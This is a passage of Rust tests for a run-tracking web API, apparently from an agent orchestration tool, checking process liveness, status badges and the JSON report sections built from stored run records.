20355        state.driver_started_at = Some(
20356            crate::proc::process_started_at(std::process::id())
20357                .expect("this test process's own start time must be queryable"),
20358        );
20359        let dir = f.runs().join(id);
20360        std::fs::create_dir_all(&dir).expect("run dir");
20361        std::fs::write(
20362            dir.join("run.json"),
20363            serde_json::to_string_pretty(&state).expect("serialize run"),
20364        )
20365        .expect("write run.json");
20366
20367        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20368        assert_eq!(detail["live"], "live", "{detail}");
20369    }
20370
20371    /// A killed manual run's pid can be handed to a wholly unrelated later
20372    /// process — a live query on `driver_pid` alone would read this as
20373    /// `"live"`, exactly the false positive `driver_started_at` exists to
20374    /// catch (see that field's own doc, and `RunState::liveness_with`'s
20375    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
20376    #[tokio::test]
20377    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
20378        let f = Fixture::start().await;
20379        let id = "20260922-090100-dddd";
20380        let mut state = RunState::new(
20381            PathBuf::from("/repo/magi"),
20382            "main".to_owned(),
20383            "0123456789abcdef".to_owned(),
20384            "Review only".to_owned(),
20385            Config::default(),
20386        );
20387        state.id = id.to_owned();
20388        state.status = RunStatus::Reviewing;
20389        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
20390        // This test process's own pid really is alive, but the marker
20391        // recorded here does not match what it actually started at —
20392        // standing in for the pid having since been reused by a different
20393        // process than the one that wrote `run.json`.
20394        state.driver_pid = Some(std::process::id());
20395        state.driver_started_at = Some("1".to_owned());
20396        let dir = f.runs().join(id);
20397        std::fs::create_dir_all(&dir).expect("run dir");
20398        std::fs::write(
20399            dir.join("run.json"),
20400            serde_json::to_string_pretty(&state).expect("serialize run"),
20401        )
20402        .expect("write run.json");
20403
20404        let detail = f.get(&format!("/api/runs/{id}")).await.json();
20405        assert_eq!(detail["live"], "dead", "{detail}");
20406    }
20407
20408    /// The deck's competition list is normally the first place an operator
20409    /// sees an old run. It must carry the same process verdict as detail, or
20410    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
20411    #[test]
20412    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
20413        let mk = |id: &str, pid: Option<u32>| {
20414            let mut s = RunState::new(
20415                PathBuf::from("/repo/magi"),
20416                "main".to_owned(),
20417                "0123456789abcdef".to_owned(),
20418                "Add a web UI".to_owned(),
20419                Config::default(),
20420            );
20421            s.id = id.to_owned();
20422            s.driver_pid = pid;
20423            s.driver_started_at = Some("1790000000".to_owned());
20424            s
20425        };
20426        let states = vec![
20427            mk("20260902-140502-aaaa", Some(77)),
20428            mk("20260902-140502-bbbb", Some(77)),
20429            mk("20260902-140502-cccc", Some(77)),
20430            mk("20260902-140502-dddd", None),
20431        ];
20432        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
20433        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
20434        let sup: HashMap<String, String> = [(
20435            "20260902-140502-aaaa".to_owned(),
20436            "20260902-140502-cccc".to_owned(),
20437        )]
20438        .into();
20439
20440        let status_calls = std::cell::Cell::new(0);
20441        let identity_calls = std::cell::Cell::new(0);
20442        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
20443            |_| {
20444                status_calls.set(status_calls.get() + 1);
20445                Some(true)
20446            },
20447            |_| {
20448                identity_calls.set(identity_calls.get() + 1);
20449                Some("1790000000".to_owned())
20450            },
20451        ));
20452        let rows = summarize(
20453            states,
20454            &open,
20455            &claimed,
20456            &sup,
20457            |p| probe.borrow_mut().status(p),
20458            |p| probe.borrow_mut().started_at(p),
20459        );
20460
20461        assert_eq!(status_calls.get(), 1, "one pid, one status query");
20462        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
20463        assert_eq!(rows.len(), 4);
20464        assert!(!rows[0].waiting && rows[1].waiting);
20465        assert_eq!(rows[0].live, crate::run::Liveness::Live);
20466        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
20467        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
20468        assert_eq!(rows[1].superseded_by, None);
20469    }
20470
20471    #[test]
20472    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20473        let mut state = RunState::new(
20474            PathBuf::from("/repo/magi"),
20475            "main".to_owned(),
20476            "0123456789abcdef".to_owned(),
20477            "Review only".to_owned(),
20478            Config::default(),
20479        );
20480        state.id = "20260922-090200-dead".to_owned();
20481        state.status = RunStatus::Reviewing;
20482        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20483            .expect("serialize list row");
20484        assert_eq!(row["status"], "reviewing");
20485        assert_eq!(row["display_status"], "stale");
20486        assert_eq!(row["live"], "dead", "{row}");
20487        assert!(!row["done"].as_bool().unwrap());
20488    }
20489
20490    #[test]
20491    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20492        use crate::run::Liveness::{Dead, Live, Unknown};
20493        let mut state = RunState::new(
20494            PathBuf::from("/repo/magi"),
20495            "main".to_owned(),
20496            "abc".to_owned(),
20497            "Review only".to_owned(),
20498            Config::default(),
20499        );
20500        for (status, parked, node, waiting, live, expected) in [
20501            (
20502                RunStatus::Judging,
20503                true,
20504                "github-text",
20505                false,
20506                Dead,
20507                "parked",
20508            ),
20509            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20510            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20511            (
20512                RunStatus::Judging,
20513                true,
20514                "github-text",
20515                true,
20516                Dead,
20517                "waiting",
20518            ),
20519            (
20520                RunStatus::Judging,
20521                false,
20522                "github-text",
20523                true,
20524                Dead,
20525                "waiting",
20526            ),
20527            (
20528                RunStatus::Judging,
20529                false,
20530                "github-text",
20531                false,
20532                Dead,
20533                "stale",
20534            ),
20535            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20536            (RunStatus::Judging, true, "park", false, Live, "judging"),
20537            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20538            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20539            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20540            (
20541                RunStatus::Blocked,
20542                true,
20543                "github-text",
20544                true,
20545                Dead,
20546                "waiting",
20547            ),
20548        ] {
20549            state.status = status;
20550            state.parked = parked;
20551            state.events.clear();
20552            state.event(
20553                "park",
20554                "an earlier park does not determine the latest state",
20555            );
20556            state.event(node, "message is not used for classification");
20557            let summary = RunSummary::of(&state, waiting, live);
20558            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20559            assert_eq!(
20560                summary.display_status, expected,
20561                "{status:?}/{node}/{live:?}"
20562            );
20563            assert_eq!(detail.display_status, summary.display_status);
20564            assert_eq!(detail.waiting, summary.waiting);
20565        }
20566        state.status = RunStatus::Judging;
20567        state.parked = false;
20568        state.events.clear();
20569        assert_eq!(run_display_status(&state, false, Dead), "stale");
20570    }
20571
20572    #[test]
20573    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20574        use crate::run::Liveness::{Dead, Live, Unknown};
20575        let mut state = RunState::new(
20576            PathBuf::from("/repo/magi"),
20577            "main".to_owned(),
20578            "abc".to_owned(),
20579            "Badge".to_owned(),
20580            Config::default(),
20581        );
20582        for (status, waiting, live, superseded, expected) in [
20583            (RunStatus::Gating, false, Dead, false, "stale"),
20584            (RunStatus::Gating, false, Dead, true, "superseded"),
20585            (RunStatus::Gating, false, Unknown, true, "superseded"),
20586            (RunStatus::Gating, true, Dead, true, "superseded"),
20587            (RunStatus::Gating, true, Dead, false, "waiting"),
20588            (RunStatus::Gating, false, Unknown, false, "gating"),
20589            (RunStatus::Gating, false, Live, true, "gating"),
20590            (RunStatus::Gating, true, Live, true, "waiting"),
20591            (RunStatus::Merged, false, Dead, true, "merged"),
20592            (RunStatus::Blocked, false, Dead, true, "blocked"),
20593        ] {
20594            state.status = status;
20595            let display = run_display_status(&state, waiting, live);
20596            assert_eq!(
20597                run_badge_status(&state, &display, live, superseded),
20598                expected,
20599                "{status:?}/{live:?}/superseded={superseded}"
20600            );
20601        }
20602    }
20603
20604    #[test]
20605    fn summarize_and_detail_expose_badge_status() {
20606        use crate::run::Liveness::Dead;
20607        let mut state = RunState::new(
20608            PathBuf::from("/repo/magi"),
20609            "main".to_owned(),
20610            "abc".to_owned(),
20611            "Badge".to_owned(),
20612            Config::default(),
20613        );
20614        state.status = RunStatus::Gating;
20615        let none = HashSet::new();
20616        let id = state.id.clone();
20617        let mut by = HashMap::new();
20618        let rows = summarize(
20619            [state.clone()],
20620            &none,
20621            &none,
20622            &by,
20623            |_| Some(false),
20624            |_| None,
20625        );
20626        // No driver recorded: liveness is not provably dead, so the node stays.
20627        assert_eq!(rows[0].badge_status, rows[0].display_status);
20628        by.insert(id, "20260901-000000-913b".to_owned());
20629        let detail = RunDetailView::of(
20630            state.clone(),
20631            false,
20632            Dead,
20633            Some("913b".to_owned()),
20634            None,
20635            None,
20636        );
20637        assert_eq!(detail.badge_status, "superseded");
20638        let json = serde_json::to_value(&detail).unwrap();
20639        assert_eq!(json["badge_status"], "superseded");
20640        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20641        assert_eq!(detail.badge_status, "stale");
20642    }
20643
20644    #[tokio::test]
20645    async fn run_display_status_routes_share_the_open_question_store() {
20646        let f = Fixture::start().await;
20647        let id = "20260922-090200-abcd";
20648        write_run(&f.runs(), id, RunStatus::Judging);
20649        let mut state = read_run(&f.runs(), id).unwrap();
20650        state.parked = true;
20651        state.driver_exited = true;
20652        state.event("github-text", "waiting for the owner");
20653        state.save_under(f.home.path()).unwrap();
20654        let mut task = Task::new(
20655            "resumed task".to_owned(),
20656            "do it".to_owned(),
20657            PathBuf::from("/repo"),
20658            Source::Human,
20659        );
20660        task.runs = vec![id.to_owned(), id.to_owned()];
20661        f.queue().put(&mut task).unwrap();
20662        let store = f.questions();
20663        let mut q = Question::new(
20664            id.to_owned(),
20665            "github-text".to_owned(),
20666            "owner".to_owned(),
20667            "Approve the text?".to_owned(),
20668            String::new(),
20669            Vec::new(),
20670        );
20671        store.put(&mut q).unwrap();
20672        for expected in ["waiting", "parked"] {
20673            let list = f.get("/api/runs").await.json();
20674            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20675            assert_eq!(list[0]["display_status"], expected);
20676            assert_eq!(detail["display_status"], expected);
20677            assert_eq!(detail["waiting"], list[0]["waiting"]);
20678            assert_eq!(list[0]["badge_status"], expected);
20679            assert_eq!(detail["badge_status"], expected);
20680            assert!(list[0]["superseded_by"].is_null());
20681            assert!(detail["superseded_by"].is_null());
20682            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20683            let history = task_detail["history"].as_array().unwrap();
20684            assert_eq!(history.len(), 2);
20685            assert!(history[0]["badge"].is_null());
20686            assert_eq!(history[1]["badge"], expected);
20687            q.status = ask::QuestionStatus::Answered;
20688            store.put(&mut q).unwrap();
20689        }
20690    }
20691
20692    #[tokio::test]
20693    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20694        let f = Fixture::start().await;
20695        let id = "20260922-090200-abcd";
20696        write_run(&f.runs(), id, RunStatus::Judging);
20697        let mut state = read_run(&f.runs(), id).unwrap();
20698        state.parked = true;
20699        state.driver_exited = true;
20700        state.event("park", "stopped at a node boundary");
20701        state.save_under(f.home.path()).unwrap();
20702
20703        for expected in ["parked", "stale"] {
20704            let list = f.get("/api/runs").await.json();
20705            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20706            assert_eq!(list[0]["live"], "dead");
20707            assert_eq!(list[0]["display_status"], expected);
20708            assert_eq!(detail["display_status"], expected);
20709            // Model a driver claim followed by a crash before the next event:
20710            // the persisted flag changes, but the last event is still park.
20711            state.parked = false;
20712            state.save_under(f.home.path()).unwrap();
20713        }
20714    }
20715
20716    #[tokio::test]
20717    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20718        let f = Fixture::start().await;
20719        for id in [
20720            "20260902-140501-aaaa",
20721            "20260902-140502-bbbb",
20722            "20260902-140503-cccc",
20723        ] {
20724            write_run(&f.runs(), id, RunStatus::Merged);
20725        }
20726
20727        let all = f.get("/api/runs").await.json();
20728        let capped = f.get("/api/runs?limit=2").await.json();
20729
20730        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20731        assert_eq!(all.as_array().map(Vec::len), Some(3));
20732        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20733        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20734    }
20735
20736    #[tokio::test]
20737    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20738        let f = Fixture::start().await;
20739        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20740
20741        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20742
20743        assert_eq!(res.status, 200);
20744        assert!(
20745            res.headers
20746                .contains("content-type: text/plain; charset=utf-8"),
20747            "a browser must render it, not download it: {}",
20748            res.headers
20749        );
20750        // The assertion is on content, not on the absence of escapes: colour
20751        // is a process-global that `serve` turns off at startup, and another
20752        // test in this binary may own it while this one runs.
20753        assert!(
20754            res.body.contains("20260902-140501-a1b2"),
20755            "the report is about the run that was asked for: {}",
20756            res.body
20757        );
20758    }
20759
20760    #[tokio::test]
20761    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20762        // The view names the run's state directory, which reads the process-global home.
20763        crate::run::pin_test_home();
20764        let f = Fixture::start().await;
20765        let id = "20260902-140501-a1b2";
20766        write_run(&f.runs(), id, RunStatus::Stalled);
20767        // A stalled panel and one review round, written through the real
20768        // state file so the route reads what a run really leaves behind.
20769        let path = f.runs().join(id).join("run.json");
20770        let mut v: serde_json::Value =
20771            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20772        v["tally"] = serde_json::json!({
20773            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20774            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20775            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20776            "met_quorum": false, "rankings": 1
20777        });
20778        v["reviews"] = serde_json::json!([{
20779            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20780            "e2e_deferred": true,
20781            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20782                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20783            ]}]
20784        }]);
20785        std::fs::write(&path, v.to_string()).unwrap();
20786        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20787        std::fs::write(
20788            f.runs().join("20260902-140502-dead").join("run.json"),
20789            "{not json",
20790        )
20791        .unwrap();
20792
20793        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20794
20795        assert_eq!(res.status, 200, "{}", res.body);
20796        assert!(res.headers.contains("content-type: application/json"));
20797        let j = res.json();
20798        assert_eq!(j["schema"], 1);
20799        assert_eq!(j["header"]["id"], id);
20800        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20801        let kinds: Vec<&str> = j["sections"]
20802            .as_array()
20803            .unwrap()
20804            .iter()
20805            .map(|s| s["kind"].as_str().unwrap())
20806            .collect();
20807        assert_eq!(kinds, ["candidates", "tally", "review"]);
20808        let tally = &j["sections"][1]["tally"];
20809        assert_eq!(
20810            (tally["decided"].clone(), tally["provisional"].clone()),
20811            (false.into(), true.into())
20812        );
20813        let round = &j["sections"][2]["rounds"][0];
20814        assert_eq!(round["e2e"]["state"], "deferred");
20815        assert_eq!(round["findings"][0]["severity"], "major");
20816        assert_eq!(round["findings"][0]["blocking"], true);
20817        assert_eq!(round["findings"][0]["state"], "open");
20818
20819        // The raw route keeps working beside it.
20820        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20821
20822        // An unreadable run is an error, as on the text route, and is counted.
20823        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20824        assert_ne!(bad.status, 200, "{}", bad.body);
20825        assert_eq!(
20826            bad.status,
20827            f.get("/api/runs/20260902-140502-dead/report").await.status
20828        );
20829        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20830        assert_eq!(
20831            f.get("/api/runs/20260902-999999-ffff/report.json")
20832                .await
20833                .status,
20834            404
20835        );
20836    }
20837
20838    #[tokio::test]
20839    async fn sync_base_only_report_json_names_the_required_base_heads_and_verification() {
20840        crate::run::pin_test_home();
20841        let f = Fixture::start().await;
20842        let id = "20260902-140501-a1b2";
20843        write_run(&f.runs(), id, RunStatus::Blocked);
20844        let path = f.runs().join(id).join("run.json");
20845        let mut v: serde_json::Value =
20846            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20847        v["sync_only_passes"] = serde_json::json!([{
20848            "request": {"run": id, "at": "2026-09-02T14:05:01Z"},
20849            "pass_index": 0, "required_base": "origin/main", "tip": "base-sha",
20850            "head_before": "before-sha", "head_after": "after-sha",
20851            "result": "synchronized", "verification_allowed": false
20852        }]);
20853        std::fs::write(&path, v.to_string()).unwrap();
20854
20855        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20856        assert_eq!(res.status, 200, "{}", res.body);
20857        let json = res.json();
20858        let section = json["sections"]
20859            .as_array()
20860            .unwrap()
20861            .iter()
20862            .find(|s| s["key"] == "sync_only")
20863            .expect("base-only report section");
20864        let line = section["lines"][0].as_str().unwrap();
20865        assert!(line.contains("origin/main @ base-sha"), "{line}");
20866        assert!(line.contains("HEAD before-sha → after-sha"), "{line}");
20867        assert!(line.contains("verification was not allowed"), "{line}");
20868    }
20869
20870    #[tokio::test]
20871    async fn the_report_json_route_preserves_recovery_repair_release_and_final_review_facts() {
20872        crate::run::pin_test_home();
20873        let f = Fixture::start().await;
20874        let id = "20260902-140505-facts";
20875        write_run(&f.runs(), id, RunStatus::Stalled);
20876        let path = f.runs().join(id).join("run.json");
20877        let mut v: serde_json::Value =
20878            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20879        v["candidates"] = serde_json::json!([{
20880            "index": 0, "label": "A", "agent": "a", "branch": "a", "worktree": "/a",
20881            "empty": true, "folded": true, "summary": "Already covered.\nNo patch needed."
20882        }]);
20883        v["tally"] = serde_json::json!({
20884            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20885            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20886            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20887            "met_quorum": false, "rankings": 1
20888        });
20889        v["quota"] = serde_json::json!([
20890            {
20891                "seat": "judge-1", "node": "judge", "at": "2026-09-02T14:05:01Z",
20892                "agent": "signed-out", "cause": "authentication"
20893            },
20894            {"seat": "judge-2", "node": "judge", "at": "2026-09-02T14:05:01Z"}
20895        ]);
20896        v["startup"] = serde_json::json!({
20897            "kind": "review", "branch": "topic", "stage": "fetch", "complete": false,
20898            "failure": "fetch refused\ncredentials expired"
20899        });
20900        v["recovery"] = serde_json::json!({
20901            "from_run": "20260902-140501-a1b2", "generation": 1, "mode": "full-review",
20902            "reasons": ["head moved\nreview the new diff"], "criteria_inherited": true,
20903            "repair": {"started": {"before": "abcdef012345"}}
20904        });
20905        v["reviews"] = serde_json::json!([{
20906            "round": 1, "head": "abcdef012345", "answered": 1, "expected": 2,
20907            "verified_head": "fedcba9876543210", "verified_at": "2026-09-02T14:05:01Z",
20908            "vote_split": true, "verdict": "approve_with_findings",
20909            "e2e": [{
20910                "command": "cargo test", "code": 0, "duration_ms": 12, "output_tail": "ok"
20911            }],
20912            "reviews": [
20913                {"reviewer": 1, "agent": "reviewer", "vote": "reject",
20914                 "summary": "Initial **concern**.\n\nPlease inspect.",
20915                 "findings": [{"id": "R1-1-1", "severity": "minor", "title": "Check edge case"}]},
20916                {"reviewer": 2, "agent": "missing", "failed": "connection lost"}
20917            ],
20918            "reconsideration": [{
20919                "reviewer": 1, "agent": "reviewer", "vote": "approve_with_findings",
20920                "reason": "The blocker is resolved.\nOne minor issue remains."
20921            }]
20922        }]);
20923        v["merge_repairs"] = serde_json::json!([{
20924            "question": "question-42", "head": "abcdef012345",
20925            "pr": "https://example.test/pull/42", "reviews": v["reviews"].clone(),
20926            "gate": [], "phase": "Failed",
20927            "failure": "owner decision required\ninspect updated results"
20928        }]);
20929        v["bump_decision_attempts"] = serde_json::json!([
20930            {"agent": "first", "outcome": "unavailable"},
20931            {"agent": "second", "outcome": "patch\naccepted"}
20932        ]);
20933        v["release_bump"] = serde_json::json!({
20934            "version": "1.2.3", "local": true,
20935            "problem": "publish failed\nregistry refused",
20936            "release": {
20937                "version": "1.2.3", "commit": "fedcba9876543210", "tag_done": true, "done": 1,
20938                "failed": "registry refused\nawait owner approval",
20939                "log": [{
20940                    "name": "cargo publish", "code": 1,
20941                    "tail": "first output line\nsecond output line", "output": "/logs/publish.log"
20942                }]
20943            }
20944        });
20945        std::fs::write(&path, v.to_string()).unwrap();
20946
20947        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20948        assert_eq!(res.status, 200, "{}", res.body);
20949        let j = res.json();
20950        assert_eq!(j["schema"], 1);
20951        assert_eq!(j["header"]["tone"], "warn");
20952        assert_eq!(
20953            j["header"]["startup"],
20954            "review branch=topic stage=fetch complete=false"
20955        );
20956        assert_eq!(
20957            j["header"]["startup_failure"],
20958            "fetch refused\ncredentials expired"
20959        );
20960        assert_eq!(j["sections"][0]["items"][0]["state"], "no_change");
20961        assert_eq!(
20962            j["sections"][0]["items"][0]["detail"],
20963            "Already covered.\nNo patch needed."
20964        );
20965        assert_eq!(
20966            j["sections"][1]["tally"]["rate_limited"],
20967            serde_json::json!(["judge-1", "judge-2"])
20968        );
20969        let sections = j["sections"].as_array().unwrap();
20970        let labels: Vec<_> = sections
20971            .iter()
20972            .map(|section| {
20973                section["key"]
20974                    .as_str()
20975                    .or_else(|| section["kind"].as_str())
20976                    .unwrap()
20977            })
20978            .collect();
20979        assert_eq!(
20980            labels,
20981            [
20982                "candidates",
20983                "tally",
20984                "quota_details",
20985                "recovery",
20986                "review",
20987                "merge_repairs",
20988                "release_decision_attempts",
20989                "release_bump",
20990                "release_execution"
20991            ]
20992        );
20993        let note = |key: &str| {
20994            sections
20995                .iter()
20996                .find(|section| section["kind"] == "notes" && section["key"] == key)
20997                .unwrap()
20998        };
20999        let unavailable = note("quota_details");
21000        assert_eq!(unavailable["tone"], "warn");
21001        assert_eq!(
21002            unavailable["lines"],
21003            serde_json::json!([
21004                "judge-1 (signed-out: re-authenticate)",
21005                "judge-2 (usage limit)"
21006            ])
21007        );
21008        let recovery = note("recovery");
21009        assert_eq!(recovery["tone"], "warn");
21010        assert!(
21011            recovery["lines"][0]
21012                .as_str()
21013                .unwrap()
21014                .contains("head moved\nreview the new diff")
21015        );
21016        assert_eq!(
21017            recovery["lines"][1],
21018            "the task's own completion criteria were kept"
21019        );
21020        assert_eq!(recovery["lines"][2], "repair: unfinished");
21021        let review = sections
21022            .iter()
21023            .find(|section| section["kind"] == "review")
21024            .unwrap();
21025        assert_eq!(review["tone"], "warn", "missing input cannot look settled");
21026        let round = &review["rounds"][0];
21027        assert_eq!(round["verified_head"], "fedcba9");
21028        assert_eq!(round["verified_at"], "2026-09-02T14:05:01Z");
21029        assert_eq!(round["status"], "incomplete");
21030        assert_eq!(round["e2e"]["state"], "pass");
21031        assert_eq!(round["reviewers"][0]["vote"], "reject");
21032        assert_eq!(round["reviewers"][0]["final_vote"], "approve_with_findings");
21033        assert_eq!(
21034            round["reviewers"][0]["reason"],
21035            "Initial **concern**.\n\nPlease inspect."
21036        );
21037        assert!(
21038            !round["reviewers"][0]["reason_md"]
21039                .as_array()
21040                .unwrap()
21041                .is_empty()
21042        );
21043        assert!(round["reviewers"][1]["final_vote"].is_null());
21044        assert_eq!(round["reviewers"][1]["failed"], "connection lost");
21045        assert_eq!(
21046            round["reconsideration"][0]["reason"],
21047            "The blocker is resolved.\nOne minor issue remains."
21048        );
21049        assert!(
21050            !round["reconsideration"][0]["reason_md"]
21051                .as_array()
21052                .unwrap()
21053                .is_empty()
21054        );
21055        let repairs = note("merge_repairs");
21056        assert_eq!(repairs["tone"], "warn");
21057        assert_eq!(
21058            repairs["lines"][0],
21059            "question question-42  head abcdef012345  Failed\nhttps://example.test/pull/42"
21060        );
21061        assert_eq!(
21062            repairs["lines"][1],
21063            "held: owner decision required\ninspect updated results"
21064        );
21065        assert_eq!(
21066            repairs["lines"][2],
21067            "original [R1-1-1] Minor: Check edge case"
21068        );
21069        assert_eq!(
21070            repairs["lines"][3],
21071            "original reviewer #1: ApproveWithFindings"
21072        );
21073        assert_eq!(
21074            repairs["lines"][4],
21075            "Repair never approves a merge; updated results require a fresh owner decision."
21076        );
21077        let attempts = note("release_decision_attempts");
21078        assert_eq!(attempts["tone"], "neutral");
21079        assert_eq!(
21080            attempts["lines"],
21081            serde_json::json!(["1. first: unavailable", "2. second: patch\naccepted"])
21082        );
21083        let bump = sections
21084            .iter()
21085            .find(|section| section["kind"] == "release_bump")
21086            .unwrap();
21087        assert_eq!(bump["bump"]["automerge"], "local");
21088        assert_eq!(bump["bump"]["problem"], "publish failed\nregistry refused");
21089        assert_eq!(bump["tone"], "warn");
21090        let execution = note("release_execution");
21091        assert_eq!(execution["tone"], "warn");
21092        assert_eq!(
21093            execution["lines"][0],
21094            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21095        );
21096        assert_eq!(
21097            execution["lines"][1],
21098            "tag on remote: true; 1 command(s) completed"
21099        );
21100        assert_eq!(
21101            execution["lines"][2],
21102            "cargo publish (exit 1) output /logs/publish.log\nfirst output line\nsecond output line"
21103        );
21104
21105        // The original endpoint remains terminal text, including these same facts.
21106        let raw = f.get(&format!("/api/runs/{id}/report")).await;
21107        assert_eq!(raw.status, 200);
21108        assert!(
21109            raw.headers
21110                .contains("content-type: text/plain; charset=utf-8")
21111        );
21112        assert!(raw.body.contains("fetch refused\ncredentials expired"));
21113        assert!(raw.body.contains("Already covered."));
21114        assert!(raw.body.contains("judge-1 (signed-out: re-authenticate)"));
21115        assert!(raw.body.contains("judge-2 (usage limit)"));
21116        assert!(
21117            raw.body
21118                .contains("owner decision required\ninspect updated results")
21119        );
21120        assert!(raw.body.contains("2. second: patch\naccepted"));
21121        assert!(raw.body.contains(
21122            "release v1.2.3 at fedcba9876543210: registry refused\nawait owner approval"
21123        ));
21124
21125        // Historical records do not acquire invented startup or verification facts.
21126        let legacy_id = "20260902-140506-old";
21127        write_run(&f.runs(), legacy_id, RunStatus::Stalled);
21128        let legacy = f.get(&format!("/api/runs/{legacy_id}/report.json")).await;
21129        assert_eq!(legacy.status, 200, "{}", legacy.body);
21130        let legacy = legacy.json();
21131        assert!(legacy["header"]["startup"].is_null());
21132        assert!(legacy["header"]["startup_failure"].is_null());
21133        assert!(
21134            legacy["sections"]
21135                .as_array()
21136                .unwrap()
21137                .iter()
21138                .all(|section| section["kind"] != "notes")
21139        );
21140    }
21141
21142    #[tokio::test]
21143    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
21144        crate::run::pin_test_home();
21145        let f = Fixture::start().await;
21146        let id = "20260902-140503-delib";
21147        write_run(&f.runs(), id, RunStatus::Merged);
21148        let path = f.runs().join(id).join("run.json");
21149        let mut v: serde_json::Value =
21150            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
21151        v["judgements"] = serde_json::json!([
21152            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
21153        ]);
21154        v["tally"] = serde_json::json!({
21155            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
21156            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
21157            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
21158            "met_quorum": true, "rankings": 1
21159        });
21160        v["deliberation"] = serde_json::json!([
21161            {
21162                "round": 1,
21163                "turns": [
21164                    {
21165                        "judge": 1,
21166                        "agent": "judge-1",
21167                        "body": "I prefer candidate **A** because it has cleaner tests.",
21168                        "tentative": "A"
21169                    }
21170                ]
21171            },
21172            {
21173                "round": 2,
21174                "turns": [
21175                    {
21176                        "judge": 1,
21177                        "agent": "judge-1",
21178                        "body": "Still thinking, no choice yet.",
21179                        "tentative": null
21180                    }
21181                ]
21182            }
21183        ]);
21184        std::fs::write(&path, v.to_string()).unwrap();
21185
21186        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
21187        assert_eq!(res.status, 200, "{}", res.body);
21188        let j = res.json();
21189        let judging = j["sections"]
21190            .as_array()
21191            .unwrap()
21192            .iter()
21193            .find(|s| s["kind"] == "judging")
21194            .expect("judging section exists");
21195
21196        // Existing summary lines remain intact
21197        let delib_lines = judging["deliberation"].as_array().unwrap();
21198        assert_eq!(delib_lines.len(), 2);
21199        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
21200        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
21201
21202        // rounds carry turn bodies, tentative and parsed body_md
21203        let rounds = judging["rounds"].as_array().unwrap();
21204        assert_eq!(rounds.len(), 2);
21205        let r1_t0 = &rounds[0]["turns"][0];
21206        assert_eq!(r1_t0["judge"], 1);
21207        assert_eq!(r1_t0["agent"], "judge-1");
21208        assert_eq!(r1_t0["tentative"], "A");
21209        assert_eq!(
21210            r1_t0["body"],
21211            "I prefer candidate **A** because it has cleaner tests."
21212        );
21213        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
21214
21215        let r2_t0 = &rounds[1]["turns"][0];
21216        assert_eq!(r2_t0["judge"], 1);
21217        assert_eq!(r2_t0["agent"], "judge-1");
21218        assert!(r2_t0["tentative"].is_null());
21219        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
